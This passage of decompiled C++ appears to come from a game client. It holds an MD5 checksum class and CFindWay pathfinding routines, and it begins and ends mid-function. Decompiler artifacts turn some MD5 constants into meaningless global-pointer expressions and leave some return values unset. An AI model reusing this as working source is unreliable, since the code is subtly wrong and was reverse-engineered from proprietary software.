// eax@3 int v23; // ecx@3 int v24; // edx@3 unsigned int v25; // ecx@3 int v26; // esi@3 unsigned int v27; // ecx@3 int v28; // edi@3 unsigned int v29; // ecx@3 int v30; // eax@3 int v31; // ecx@3 int v32; // edx@3 unsigned int v33; // ecx@3 int v34; // esi@3 unsigned int v35; // ecx@3 int v36; // edi@3 unsigned int v37; // ecx@3 int v38; // eax@3 int v39; // ecx@3 int v40; // edx@3 int v41; // ebx@3 unsigned int v42; // ecx@3 int v43; // esi@3 signed int v44; // ecx@3 unsigned int v45; // ecx@3 int v46; // edi@3 unsigned int v47; // ebx@3 int v48; // eax@3 int v49; // ecx@3 int v50; // edx@3 unsigned int v51; // ecx@3 int v52; // esi@3 unsigned int v53; // ecx@3 int v54; // edi@3 unsigned int v55; // ecx@3 int v56; // eax@3 char *v57; // ecx@3 int v58; // edx@3 unsigned int v59; // esi@3 unsigned int v60; // ecx@3 int v61; // edi@3 unsigned int v62; // ecx@3 int v63; // eax@3 int v64; // ecx@3 int v65; // edx@3 unsigned int v66; // ecx@3 int v67; // esi@3 unsigned int v68; // ecx@3 int v69; // edi@3 unsigned int v70; // eax@3 int v71; // ecx@3 int v72; // edx@3 unsigned int v73; // ecx@3 int v74; // esi@3 unsigned int v75; // ecx@3 int v76; // edi@3 unsigned int v77; // ecx@3 int v78; // eax@3 unsigned int v79; // edx@3 int v80; // ebx@3 unsigned int v81; // esi@3 int v82; // ecx@3 unsigned int v83; // edi@3 int v84; // edx@3 unsigned int v85; // eax@3 unsigned int v86; // ebx@3 int v87; // edi@3 unsigned int v88; // ecx@3 int v89; // esi@3 unsigned int v90; // ebx@3 int v91; // edx@3 unsigned int v92; // ecx@3 int v93; // eax@3 unsigned int v94; // ecx@3 int v95; // edi@3 unsigned int v96; // esi@3 int v97; // ebx@3 int v98; // ecx@3 unsigned int v99; // edx@3 unsigned int v100; // eax@3 unsigned int v101; // edi@3 int v102; // esi@3 unsigned int v103; // ebx@3 int v104; // edi@3 unsigned int v105; // ecx@3 int v106; // edx@3 unsigned int v107; // ecx@3 int v108; // eax@3 unsigned int v109; // ecx@3 int v110; // esi@3 unsigned int v111; // ecx@3 int v112; // edi@3 unsigned int v113; // ecx@3 int v114; // edx@3 unsigned int v115; // ecx@3 int v116; // eax@3 unsigned int v117; // ecx@3 int v118; // esi@3 unsigned int v119; // ecx@3 int v120; // edi@3 unsigned int v121; // ecx@3 int v122; // edx@3 unsigned int v123; // ecx@3 int v124; // eax@3 unsigned int v125; // ecx@3 int v126; // esi@3 unsigned int v127; // ecx@3 int v128; // edi@3 unsigned int v129; // ecx@3 int v130; // edx@3 unsigned int v131; // ecx@3 int v132; // eax@3 unsigned int v133; // ecx@3 int v134; // esi@3 unsigned int v135; // edi@3 int v136; // ebx@3 unsigned int v137; // edx@3 CMD5Checksum *v138; // [sp+10h] [bp-44h]@1 int X; // [sp+14h] [bp-40h]@0 int v140; // [sp+18h] [bp-3Ch]@1 int v141; // [sp+1Ch] [bp-38h]@3 int v142; // [sp+20h] [bp-34h]@3 int v143; // [sp+24h] [bp-30h]@3 int v144; // [sp+28h] [bp-2Ch]@3 int v145; // [sp+2Ch] [bp-28h]@3 int v146; // [sp+30h] [bp-24h]@3 int v147; // [sp+34h] [bp-20h]@3 int v148; // [sp+38h] [bp-1Ch]@3 int v149; // [sp+3Ch] [bp-18h]@3 int v150; // [sp+40h] [bp-14h]@3 int v151; // [sp+44h] [bp-10h]@3 int v152; // [sp+48h] [bp-Ch]@3 int v153; // [sp+4Ch] [bp-8h]@3 int v154; // [sp+50h] [bp-4h]@3 signed int Blocka; // [sp+58h] [bp+4h]@3 v138 = this; v2 = Block + 2; v3 = &v140; v4 = 4; do { BYTE3(v5) = 0; *(_WORD *)((char *)&v5 + 1) = (unsigned __int8)v2[1]; v6 = (unsigned __int8)*(v2 - 1); v2 += 16; v3 += 4; LOBYTE(v5) = *(v2 - 16); *(v3 - 5) = (unsigned __int8)*(v2 - 18) | ((v6 | (v5 << 8)) << 8); BYTE3(v5) = 0; *(_WORD *)((char *)&v5 + 1) = (unsigned __int8)*(v2 - 11); LOBYTE(v5) = *(v2 - 12); v7 = (unsigned __int8)*(v2 - 9); *(v3 - 4) = (unsigned __int8)*(v2 - 14) | (((unsigned __int8)*(v2 - 13) | (v5 << 8)) << 8); BYTE3(v5) = 0; *(_WORD *)((char *)&v5 + 1) = (unsigned __int8)*(v2 - 7); LOBYTE(v5) = *(v2 - 8); v8 = (unsigned __int8)*(v2 - 10) | ((v7 | (v5 << 8)) << 8); v9 = (unsigned __int8)*(v2 - 5); *(v3 - 3) = v8; BYTE3(v8) = 0; *(_WORD *)((char *)&v8 + 1) = (unsigned __int8)*(v2 - 3); LOBYTE(v8) = *(v2 - 4); --v4; *(v3 - 2) = (unsigned __int8)*(v2 - 6) | ((v9 | (v8 << 8)) << 8); } while ( v4 ); v10 = this->m_lMD5[1]; v11 = this->m_lMD5[2]; v12 = this->m_lMD5[3]; v13 = this->m_lMD5[0] + X + (v10 & v11 | v12 & ~v10) - 680876936; v14 = v10 + ((v13 << 7) | (v13 >> 25)); v15 = v12 + v140 + (v14 & v10 | v11 & ~(v10 + ((v13 << 7) | (v13 >> 25)))) - 389564586; v16 = v14 + (unsigned __int64)((signed __int64)__PAIR__(v15, v15) >> 20); v17 = v11 + v141 + (v14 & v16 | v10 & ~(v14 + (unsigned __int64)((signed __int64)__PAIR__(v15, v15) >> 20))) + 606105819; v18 = v16 + ((v17 << 17) | (v17 >> 15)); v19 = v10 + v142 + (v18 & v16 | v14 & ~(v16 + ((v17 << 17) | (v17 >> 15)))) - 1044525330; v20 = v18 + ((v19 >> 10) | (v19 << 22)); v21 = v14 + v143 + (v20 & v18 | v16 & ~(v18 + ((v19 >> 10) | (v19 << 22)))) - 176418897; v22 = v20 + ((v21 << 7) | (v21 >> 25)); v23 = v16 + v144 + (v22 & v20 | v18 & ~(v20 + ((v21 << 7) | (v21 >> 25)))) + 1200080426; v24 = v22 + (unsigned __int64)((signed __int64)__PAIR__(v23, v23) >> 20); v25 = v18 + v145 + (v22 & v24 | v20 & ~(v22 + (unsigned __int64)((signed __int64)__PAIR__(v23, v23) >> 20))) - 1473231341; v26 = v24 + ((v25 << 17) | (v25 >> 15)); v27 = v20 + v146 + (v26 & v24 | v22 & ~(v24 + ((v25 << 17) | (v25 >> 15)))) - 45705983; v28 = v26 + ((v27 >> 10) | (v27 << 22)); v29 = v22 + v147 + (v28 & v26 | v24 & ~(v26 + ((v27 >> 10) | (v27 << 22)))) + 1770035416; v30 = v28 + ((v29 << 7) | (v29 >> 25)); v31 = v24 + v148 + (v30 & v28 | v26 & ~(v28 + ((v29 << 7) | (v29 >> 25)))) - 1958414417; v32 = v30 + (unsigned __int64)((signed __int64)__PAIR__(v31, v31) >> 20); v33 = v26 + v149 + (v30 & v32 | v28 & ~(v30 + (unsigned __int64)((signed __int64)__PAIR__(v31, v31) >> 20))) - 42063; v34 = v32 + ((v33 << 17) | (v33 >> 15)); v35 = v28 + v150 + (v34 & v32 | v30 & ~(v32 + ((v33 << 17) | (v33 >> 15)))) - 1990404162; v36 = v34 + ((v35 >> 10) | (v35 << 22)); v37 = v30 + v151 + (v36 & v34 | v32 & ~(v34 + ((v35 >> 10) | (v35 << 22)))) + 1804603682; v38 = v36 + ((v37 << 7) | (v37 >> 25)); v39 = v32 + v152 + (v38 & v36 | v34 & ~(v36 + ((v37 << 7) | (v37 >> 25)))) - 40341101; v40 = v38 + (unsigned __int64)((signed __int64)__PAIR__(v39, v39) >> 20); v41 = ~(v38 + (unsigned __int64)((signed __int64)__PAIR__(v39, v39) >> 20)); v42 = v34 + v153 + (v38 & v40 | v36 & ~(v38 + (unsigned __int64)((signed __int64)__PAIR__(v39, v39) >> 20))) - 1502002290; v43 = v40 + ((v42 << 17) | (v42 >> 15)); v44 = ~(v40 + ((v42 << 17) | (v42 >> 15))); Blocka = v44; v45 = v36 + v154 + (v43 & v40 | v38 & v44) + 1236535329; v46 = v43 + ((v45 >> 10) | (v45 << 22)); v47 = v38 + v140 + (v46 & v40 | v43 & v41) - 165796510; v48 = v46 + (32 * v47 | (v47 >> 27)); v49 = v40 + v145 + (v48 & v43 | v46 & Blocka) - 1069501632; v50 = v48 + (unsigned __int64)((signed __int64)__PAIR__(v49, v49) >> 23); v51 = v43 + v150 + (v46 & v50 | v48 & ~v46) + 643717713; v52 = v50 + ((v51 << 14) | (v51 >> 18)); v53 = v46 + X + (v48 & v52 | v50 & ~(v46 + (32 * v47 | (v47 >> 27)))) - 373897302; v54 = v52 + ((v53 >> 12) | (v53 << 20)); v55 = v48 + v144 + (v54 & v50 | v52 & ~v50) - 701558691; v56 = v54 + (32 * v55 | (v55 >> 27)); v57 = &wholesaver.ws_savestore[342].esc_abstate.buffer[v50 + 29347] + v149 + (v56 & v52 | v54 & ~v52); v58 = v56 + (unsigned __int64)((signed __int64)__PAIR__((unsigned int)v57, (unsigned int)v57) >> 23); v59 = v58 + (((v52 + v154 + (v54 & v58 | v56 & ~v54) - 660478335) << 14) | ((v52 + v154 + (v54 & v58 | v56 & (unsigned int)~v54) - 660478335) >> 18)); v60 = v54 + v143 + (v56 & v59 | v58 & ~v56) - 405537848; v61 = v59 + ((v60 >> 12) | (v60 << 20)); v62 = v56 + v148 + (v61 & v58 | v59 & ~v58) + 568446438; v63 = v61 + (32 * v62 | (v62 >> 27)); v64 = v58 + v153 + (v63 & v59 | v61 & ~v59) - 1019803690; v65 = v63 + (unsigned __int64)((signed __int64)__PAIR__(v64, v64) >> 23); v66 = v59 + v142 + (v61 & v65 | v63 & ~v61) - 187363961; v67 = v65 + ((v66 << 14) | (v66 >> 18)); v68 = v61 + v147 + (v63 & v67 | v65 & ~v63) + 1163531501; v69 = v67 + ((v68 >> 12) | (v68 << 20)); v70 = v69 + (32 * (v63 + v152 + (v69 & v65 | v67 & ~v65) - 1444681467) | ((v63 + v152 + (v69 & v65 | v67 & (unsigned int)~v65) - 1444681467) >> 27)); v71 = v65 + v141 + (v70 & v67 | v69 & ~v67) - 51403784; v72 = v70 + (unsigned __int64)((signed __int64)__PAIR__(v71, v71) >> 23); v73 = v67 + v146 + (v69 & (v70 + (unsigned __int64)((signed __int64)__PAIR__(v71, v71) >> 23)) | v70 & ~v69) + 1735328473; v74 = v72 + ((v73 << 14) | (v73 >> 18)); v75 = v69 + v151 + (v70 & v74 | v72 & ~v70) - 1926607734; v76 = v74 + ((v75 >> 12) | (v75 << 20)); v77 = v70 + v144 + (v76 ^ v74 ^ v72) - 378558; v78 = v76 + (16 * v77 | (v77 >> 28)); v79 = v72 + v147 + (v78 ^ v76 ^ v74) - 2022574463; v80 = v78 + ((v79 << 11) | (v79 >> 21)); v81 = v80 + (((v74 + v150 + (v78 ^ v76 ^ (v78 + ((v79 << 11) | (v79 >> 21)))) + 1839030562) << 16) | ((v74 + v150 + (v78 ^ v76 ^ (v78 + ((v79 << 11) | (v79 >> 21)))) + 1839030562) >> 16)); v82 = v81 ^ (v78 + ((v79 << 11) | (v79 >> 21))); v83 = v76 + v153 + (v78 ^ v81 ^ (v78 + ((v79 << 11) | (v79 >> 21)))) - 35309556; v84 = v81 + ((v83 >> 9) | (v83 << 23)); v85 = v84 + (16 * (v78 + v140 + (v84 ^ v82) - 1530992060) | ((v78 + v140 + (v84 ^ (unsigned int)v82) - 1530992060) >> 28)); v86 = v80 + v143 + (v85 ^ v84 ^ v81) + 1272893353; v87 = v85 + ((v86 << 11) | (v86 >> 21)); v88 = v81 + v146 + (v85 ^ v84 ^ v87) - 155497632; v89 = v87 + ((v88 << 16) | (v88 >> 16)); v90 = v84 + v149 + (v85 ^ v89 ^ v87) - 1094730640; v91 = v89 + ((v90 >> 9) | (v90 << 23)); v92 = v85 + v152 + (v91 ^ v89 ^ v87) + 681279174; v93 = v91 + (16 * v92 | (v92 >> 28)); v94 = v87 + X + (v93 ^ v91 ^ v89) - 358537222; v95 = v93 + ((v94 << 11) | (v94 >> 21)); v96 = v89 + v142 + (v93 ^ v91 ^ (v93 + ((v94 << 11) | (v94 >> 21)))) - 722521979; v97 = v95 + ((v96 << 16) | (v96 >> 16)); v98 = v97 ^ (v93 + ((v94 << 11) | (v94 >> 21))); v99 = v97 + (((unsigned int)(&wholesaver.ws_savestore[794].esc_abstate.buffer[v91 + 12981] + v145 + (v93 ^ v98)) >> 9) | ((_DWORD)((char *)&wholesaver + v91 + v145 + (v93 ^ v98) + 66817085) << 23)); v100 = v99 + (16 * (v93 + v148 + (v99 ^ v98) - 640364487) | ((v93 + v148 + (v99 ^ v98) - 640364487) >> 28)); v101 = v95 + v151 + (v100 ^ v99 ^ v97) - 421815835; v102 = v100 + ((v101 << 11) | (v101 >> 21)); v103 = v97 + v154 + (v100 ^ v99 ^ (v100 + ((v101 << 11) | (v101 >> 21)))) + 530742520; v104 = v102 + ((v103 << 16) | (v103 >> 16)); v105 = v99 + v141 + (v100 ^ v104 ^ v102) - 995338651; v106 = v104 + ((v105 >> 9) | (v105 << 23)); v107 = v100 + X + (v104 ^ (v106 | ~v102)) - 198630844; v108 = v106 + ((v107 << 6) | (v107 >> 26)); v109 = v102 + v146 + (v106 ^ (v108 | ~v104)) + 1126891415; v110 = v108 + ((v109 << 10) | (v109 >> 22)); v111 = v104 + v153 + (v108 ^ (v110 | ~v106)) - 1416354905; v112 = v110 + ((v111 << 15) | (v111 >> 17)); v113 = v106 + v144 + (v110 ^ (v112 | ~v108)) - 57434055; v114 = v112 + ((v113 >> 11) | (v113 << 21)); v115 = v108 + v151 + (v112 ^ (v114 | ~v110)) + 1700485571; v116 = v114 + ((v115 << 6) | (v115 >> 26)); v117 = v110 + v142 + (v114 ^ (v116 | ~v112)) - 1894986606; v118 = v116 + ((v117 << 10) | (v117 >> 22)); v119 = v112 + v149 + (v116 ^ (v118 | ~v114)) - 1051523; v120 = v118 + ((v119 << 15) | (v119 >> 17)); v121 = v114 + v140 + (v118 ^ (v120 | ~v116)) - 2054922799; v122 = v120 + ((v121 >> 11) | (v121 << 21)); v123 = v116 + v147 + (v120 ^ (v122 | ~v118)) + 1873313359; v124 = v122 + ((v123 << 6) | (v123 >> 26)); v125 = v118 + v154 + (v122 ^ (v124 | ~v120)) - 30611744; v126 = v124 + ((v125 << 10) | (v125 >> 22)); v127 = v120 + v145 + (v124 ^ (v126 | ~v122)) - 1560198380; v128 = v126 + ((v127 << 15) | (v127 >> 17)); v129 = v122 + v152 + (v126 ^ (v128 | ~v124)) + 1309151649; v130 = v128 + ((v129 >> 11) | (v129 << 21)); v131 = v124 + v143 + (v128 ^ (v130 | ~v126)) - 145523070; v132 = v130 + ((v131 << 6) | (v131 >> 26)); v133 = v126 + v150 + (v130 ^ (v132 | ~v128)) - 1120210379; v134 = v132 + ((v133 << 10) | (v133 >> 22)); v135 = v128 + v141 + (v132 ^ (v134 | ~v130)) + 718787259; v136 = v134 + ((v135 << 15) | (v135 >> 17)); v137 = v130 + v148 + (v134 ^ (v136 | ~v132)) - 343485551; v138->m_lMD5[0] += v132; v138->m_lMD5[1] += v136 + ((v137 >> 11) | (v137 << 21)); v138->m_lMD5[2] += v136; v138->m_lMD5[3] += v134; } //----- (005F4F80) -------------------------------------------------------- void __thiscall CMD5Checksum::Update(CMD5Checksum *this, char *Input, unsigned int nInputLen) { CMD5Checksum *v3; // ebx@1 unsigned int v4; // edx@1 unsigned int v5; // ecx@1 unsigned int v6; // eax@1 unsigned int v7; // edx@1 int v8; // eax@1 unsigned int v9; // ebp@3 unsigned int v10; // esi@4 unsigned int i; // edi@4 v3 = this; v4 = this->m_nCount[0]; v5 = nInputLen; v6 = v4 >> 3; v7 = v4 + 8 * nInputLen; v8 = v6 & 0x3F; v3->m_nCount[0] = v7; if ( v7 < 8 * nInputLen ) ++v3->m_nCount[1]; v9 = 64 - v8; v3->m_nCount[1] += nInputLen >> 29; if ( nInputLen < 64 - v8 ) { i = 0; } else { memcpy(&v3->m_lpszBuffer[v8], Input, v9); CMD5Checksum::Transform(v3, v3->m_lpszBuffer); v10 = v9 + 63; for ( i = v9; v10 < nInputLen; i += 64 ) { CMD5Checksum::Transform(v3, &Input[v10 - 63]); v10 += 64; } v5 = nInputLen; v8 = 0; } memcpy(&v3->m_lpszBuffer[v8], &Input[i], v5 - i); } //----- (005F5040) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall CMD5Checksum::Final(CMD5Checksum *this, std::basic_string,std::allocator > *result) { CMD5Checksum *v2; // esi@1 unsigned int v3; // ecx@1 int v4; // eax@1 int v5; // ecx@3 signed int v6; // eax@3 unsigned int v7; // ecx@5 int v8; // eax@5 signed int v9; // esi@7 char v10; // al@8 int v11; // eax@14 char v12; // cl@15 std::basic_string,std::allocator > *v13; // esi@19 std::basic_string,std::allocator > *v14; // eax@21 char *v15; // [sp-Ch] [bp-94h]@11 const char *v16; // [sp-8h] [bp-90h]@11 std::basic_string,std::allocator > *thisa; // [sp+Ch] [bp-7Ch]@1 char Str; // [sp+10h] [bp-78h]@16 void *p; // [sp+14h] [bp-74h]@14 int v20; // [sp+24h] [bp-64h]@14 unsigned int v21; // [sp+28h] [bp-60h]@14 char strMD5; // [sp+2Ch] [bp-5Ch]@16 void *v23; // [sp+30h] [bp-58h]@7 int v24; // [sp+40h] [bp-48h]@7 unsigned int v25; // [sp+44h] [bp-44h]@7 char lpszMD5[16]; // [sp+48h] [bp-40h]@1 char lptemp[32]; // [sp+58h] [bp-30h]@9 unsigned int v28; // [sp+78h] [bp-10h]@1 int v29; // [sp+84h] [bp-4h]@7 v28 = (unsigned int)&thisa ^ __security_cookie; v2 = this; thisa = result; *(_DWORD *)lpszMD5 = 0; v3 = 0; v4 = (int)((char *)&v2->m_nCount[0] + 2); do { lpszMD5[v3] = *(_BYTE *)(v4 - 2); lpszMD5[v3 + 1] = *(_BYTE *)(v4 - 1); lpszMD5[v3 + 2] = *(_BYTE *)v4; lpszMD5[v3 + 3] = *(_BYTE *)(v4 + 1); v3 += 4; v4 += 4; } while ( v3 < 8 ); v5 = (v2->m_nCount[0] >> 3) & 0x3F; v6 = 56; if ( (unsigned int)v5 >= 0x38 ) v6 = 120; CMD5Checksum::Update(v2, PADDING, v6 - v5); CMD5Checksum::Update(v2, lpszMD5, 8u); v7 = 0; v8 = (int)((char *)&v2->m_lMD5[0] + 2); do { lpszMD5[v7] = *(_BYTE *)(v8 - 2); lpszMD5[v7 + 1] = *(_BYTE *)(v8 - 1); lpszMD5[v7 + 2] = *(_BYTE *)v8; lpszMD5[v7 + 3] = *(_BYTE *)(v8 + 1); v7 += 4; v8 += 4; } while ( v7 < 0x10 ); v25 = 15; v24 = 0; LOBYTE(v23) = 0; v29 = 0; v9 = 0; do { v10 = lpszMD5[v9]; if ( v10 ) { if ( (unsigned __int8)v10 > 0xFu ) { v16 = "%x"; v15 = lptemp; } else { v16 = "0%x"; v15 = lptemp; } sprintf(v15, v16); } else { sprintf(lptemp, "00"); } v11 = (int)lptemp; v21 = 15; v20 = 0; LOBYTE(p) = 0; do v12 = *(_BYTE *)v11++; while ( v12 ); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&Str, lptemp, v11 - (_DWORD)&lptemp[1]); LOBYTE(v29) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strMD5, (std::basic_string,std::allocator > *)&Str, 0, 0xFFFFFFFFu); LOBYTE(v29) = 0; if ( v21 >= 0x10 ) operator delete(p); ++v9; v21 = 15; v20 = 0; LOBYTE(p) = 0; } while ( v9 < 16 ); v13 = thisa; thisa->_Myres = 15; v13->_Mysize = 0; v13->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( v13, (std::basic_string,std::allocator > *)&strMD5, 0, 0xFFFFFFFFu); if ( v25 >= 0x10 ) operator delete(v23); __security_check_cookie((unsigned int)&thisa ^ v28); return v14; } //----- (005F5240) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl CMD5Checksum::GetMD5(std::basic_string,std::allocator > *result, char *pBuf, unsigned int nLength) { std::basic_string,std::allocator > *v3; // eax@1 int v4; // [sp+Ch] [bp-70h]@1 int (__thiscall **MD5Checksum)(void *, char); // [sp+10h] [bp-6Ch]@1 char v6; // [sp+14h] [bp-68h]@1 int v7; // [sp+54h] [bp-28h]@1 int v8; // [sp+58h] [bp-24h]@1 int v9; // [sp+5Ch] [bp-20h]@1 int v10; // [sp+60h] [bp-1Ch]@1 int v11; // [sp+64h] [bp-18h]@1 unsigned __int16 *v12; // [sp+68h] [bp-14h]@1 unsigned int v13; // [sp+6Ch] [bp-10h]@1 int v14; // [sp+78h] [bp-4h]@1 v13 = (unsigned int)&v4 ^ __security_cookie; MD5Checksum = &CMD5Checksum::_vftable_; memset(&v6, 0, 0x40u); v4 = 0; v8 = 0; v7 = 0; v9 = 1732584193; v10 = -271733879; v11 = -1732584194; v12 = &pathfindtable.pft_table[1189][641].pfc_distance + 1; v14 = 0; CMD5Checksum::Update((CMD5Checksum *)&MD5Checksum, pBuf, nLength); CMD5Checksum::Final((CMD5Checksum *)&MD5Checksum, result); __security_check_cookie((unsigned int)&v4 ^ v13); return v3; } // 689824: using guessed type int (__thiscall *CMD5Checksum___vftable_)(void *p, char); //----- (005F5300) -------------------------------------------------------- void __thiscall CFindWay::SetLoadedData(CFindWay *this, unsigned int uiRealOneSideDataSize, unsigned int uiOneSideBlockCnt, char *pBlockInfoByte) { CFindWay *v4; // esi@1 v4 = this; if ( this->m_pBlockInfoByte && this->m_bLoaded == 1 ) { operator delete(this->m_pBlockInfoByte); v4->m_pBlockInfoByte = 0; v4->m_bLoaded = 0; } v4->m_uiRealOneSideDataSize = uiRealOneSideDataSize; v4->m_uiOneSideBlockCnt = uiOneSideBlockCnt; v4->m_pBlockInfoByte = pBlockInfoByte; v4->FWMapSx = 8 * uiRealOneSideDataSize; v4->FWMapSy = uiOneSideBlockCnt; v4->m_bLoaded = 0; } //----- (005F5350) -------------------------------------------------------- void __thiscall CFindWay::_CFindWay(CFindWay *this) { CFindWay *v1; // esi@1 v1 = this; if ( this->m_pBlockInfoByte && this->m_bLoaded == 1 ) { operator delete(this->m_pBlockInfoByte); v1->m_pBlockInfoByte = 0; v1->m_bLoaded = 0; } if ( v1->LenMap ) { operator delete(v1->LenMap); v1->LenMap = 0; } } //----- (005F53A0) -------------------------------------------------------- int __thiscall CFindWay::LineIntersect(CFindWay *this) { CFindWay *v1; // edi@1 unsigned int v2; // ebx@1 unsigned int v3; // eax@1 unsigned int v4; // ecx@1 unsigned int v5; // ebp@1 int v6; // esi@1 unsigned int v7; // eax@1 signed int v8; // edx@1 signed int v9; // ecx@1 int v10; // ebx@12 int v11; // ecx@12 bool v12; // cf@12 bool v13; // zf@12 unsigned int v14; // ecx@14 unsigned int y; // [sp+14h] [bp-18h]@1 unsigned int ay; // [sp+18h] [bp-14h]@5 int v18; // [sp+1Ch] [bp-10h]@5 signed int v19; // [sp+20h] [bp-Ch]@1 signed int by; // [sp+24h] [bp-8h]@1 v1 = this; v2 = this->Pos.X; v3 = this->LineStartPos.X; v4 = this->LineStartPos.Y; v5 = v1->LineStartPos.X; v6 = abs(v3 - v2); v7 = abs(v4 - v1->Pos.Y); v8 = v2 < v5 ? -1 : 1; y = v4; v9 = v1->Pos.Y < v4 ? -1 : 1; v19 = v2 < v5 ? -1 : 1; by = v9; if ( !v6 ) { v8 = 0; v19 = 0; } if ( !v7 ) { v9 = 0; by = 0; } v18 = v6; ay = v7; while ( v5 != v1->Pos.X || y != v1->Pos.Y ) { if ( v6 <= v7 == 0 ) { v5 += v8; ay += v7; if ( ay > v6 ) { y += v9; ay -= v6; } } else { v10 = v9 + y; v11 = v6 + v18; v12 = v6 + v18 < v7; v13 = v6 + v18 == v7; y = v10; v18 += v6; if ( !(v12 | v13) ) { v5 += v8; v18 = v11 - v7; } } v14 = v1->m_uiOneSideBlockCnt; if ( v5 >= v14 || y >= v14 || (unsigned __int8)(1 << (v5 - 8 * (v5 >> 3))) & *(&v1->m_pBlockInfoByte[y * v1->m_uiRealOneSideDataSize] + (v5 >> 3)) ) return 1; v8 = v19; v9 = by; } return 0; } //----- (005F54F0) -------------------------------------------------------- void __thiscall CFindWay::LenMapInit(CFindWay *this, int nSizeX, int nSizeY) { CFindWay *v3; // esi@1 v3 = this; if ( this->LenMap && (this->LenMapSx != nSizeX || this->LenMapSy != nSizeY) ) { operator delete(this->LenMap); v3->LenMap = 0; } if ( !v3->LenMap ) { v3->LenMap = (unsigned __int16 *)operator new__(2 * nSizeY * nSizeX); v3->LenMapSx = nSizeX; v3->LenMapSy = nSizeY; } } //----- (005F5560) -------------------------------------------------------- void __thiscall CFindWay::LenMapClear(CFindWay *this) { CFindWay *v1; // esi@1 unsigned int v2; // ecx@1 char v3; // dl@1 void *v4; // edi@1 int v5; // edi@1 int i; // ecx@1 int v7; // ecx@4 int v8; // edi@4 int v9; // ebp@4 int v10; // ebx@4 int v11; // eax@4 int v12; // edx@8 int v13; // edx@10 int v14; // [sp+10h] [bp-Ch]@4 v1 = this; v2 = 2 * this->LenMapSy * this->LenMapSx; v3 = v2; v4 = v1->LenMap; v2 >>= 2; memset(v4, -1, 4 * v2); v5 = (int)((char *)v4 + 4 * v2); for ( i = v3 & 3; i; --i ) *(_BYTE *)v5++ = -1; v7 = v1->StartPos.X; v8 = v1->StartPos.Y; v9 = v1->LenMapSx / 2; v10 = (signed int)(v1->EndPos.X - v7) / 2 - v9 + v7; v14 = v1->LenMapSy / 2; v11 = v8 + (signed int)(v1->EndPos.Y - v8) / 2 - v14; v1->BaseLenMapX = v10; v1->BaseLenMapY = v11; if ( v7 < v10 || v7 >= v10 + v1->LenMapSx || v8 < v11 || v8 >= v11 + v1->LenMapSy || (v12 = v1->EndPos.X, v12 < v10) || v12 >= v10 + v1->LenMapSx || (v13 = v1->EndPos.Y, v13 < v11) || v13 >= v11 + v1->LenMapSy ) { v1->BaseLenMapY = v8 - v14; v1->BaseLenMapX = v7 - v9; v1->LenMapInRange = 0; } else { v1->LenMapInRange = 1; } } //----- (005F5670) -------------------------------------------------------- int __thiscall CFindWay::LenMapSet(CFindWay *this, int x, int y, unsigned __int16 value) { int v4; // esi@1 int v5; // edx@2 int result; // eax@3 int v7; // edi@4 v4 = this->BaseLenMapX; if ( v4 <= x && (v5 = this->BaseLenMapY, v5 <= y) ) { v7 = this->LenMapSx; if ( v7 + v4 > x && v5 + this->LenMapSy > y ) { this->LenMap[x + v7 * (y - v5) - v4] = value; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (005F56E0) -------------------------------------------------------- int __thiscall CFindWay::SearchMoveable(CFindWay *this) { CFindWay *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // ecx@1 unsigned int v4; // edx@1 int v5; // ebp@1 unsigned __int16 v6; // di@1 unsigned int v7; // ebx@2 unsigned int v8; // eax@3 unsigned int v9; // ecx@6 int v10; // ecx@7 unsigned int v11; // ecx@13 int v12; // ecx@14 int v13; // ecx@20 int v14; // ebx@20 unsigned int v15; // eax@21 unsigned int v16; // ecx@24 int v17; // ecx@25 unsigned int v18; // eax@29 int v19; // ecx@33 __int16 v20; // di@35 __int16 v21; // ax@35 unsigned int v22; // eax@40 unsigned int v23; // eax@42 unsigned int v24; // ecx@48 unsigned int v25; // eax@50 signed int FoundLen; // [sp+10h] [bp-14h]@1 unsigned int P2; // [sp+14h] [bp-10h]@1 int v29; // [sp+18h] [bp-Ch]@1 int P1; // [sp+1Ch] [bp-8h]@1 int v31; // [sp+20h] [bp-4h]@1 v1 = this; v2 = this->EndPos.X; v3 = this->EndPos.Y; v4 = v2 - 1; FoundLen = 0; v5 = v3 + 1; v31 = v3 - 1; v6 = 0; P1 = v2 - 1; P2 = v2 + 1; v29 = v3 + 1; while ( 2 ) { v7 = v4; if ( (signed int)v4 < (signed int)P2 ) { while ( 1 ) { v8 = v1->m_uiOneSideBlockCnt; if ( v7 >= v8 ) goto LABEL_18; if ( v31 < v8 && !((unsigned __int8)(1 << (v7 - 8 * (v7 >> 3))) & *(&v1->m_pBlockInfoByte[v31 * v1->m_uiRealOneSideDataSize] + (v7 >> 3))) ) { v9 = v1->StartPos.X; if ( FoundLen ) { v10 = abs(v31 - v1->StartPos.Y) + abs(v7 - v9); if ( v6 <= (unsigned __int16)v10 ) goto LABEL_11; v1->NewPos.Y = v31; v6 = v10; } else { v1->NewPos.Y = v31; v6 = abs(v31 - v1->StartPos.Y) + abs(v7 - v9); FoundLen = 1; } v1->NewPos.X = v7; } LABEL_11: if ( v29 >= v1->m_uiOneSideBlockCnt || (unsigned __int8)(1 << (v7 - 8 * (v7 >> 3))) & *(&v1->m_pBlockInfoByte[v29 * v1->m_uiRealOneSideDataSize] + (v7 >> 3)) ) goto LABEL_18; v11 = v1->StartPos.X; if ( !FoundLen ) { v1->NewPos.Y = v29; v6 = abs(v29 - v1->StartPos.Y) + abs(v7 - v11); FoundLen = 1; goto LABEL_17; } v12 = abs(v29 - v1->StartPos.Y) + abs(v7 - v11); if ( v6 > (unsigned __int16)v12 ) { v1->NewPos.Y = v29; v6 = v12; LABEL_17: v1->NewPos.X = v7; } LABEL_18: ++v7; if ( (signed int)v7 >= (signed int)P2 ) { v4 = P1; v5 = v29; break; } } } v13 = v31; v14 = v31 + 1; if ( v31 + 1 >= v5 - 1 ) goto LABEL_39; do { v15 = v1->m_uiOneSideBlockCnt; if ( v4 < v15 && v14 < v15 && !((unsigned __int8)(1 << (v4 - 8 * (v4 >> 3))) & *(&v1->m_pBlockInfoByte[v14 * v1->m_uiRealOneSideDataSize] + (v4 >> 3))) ) { v16 = v1->StartPos.Y; if ( !FoundLen ) { v1->NewPos.X = v4; v6 = 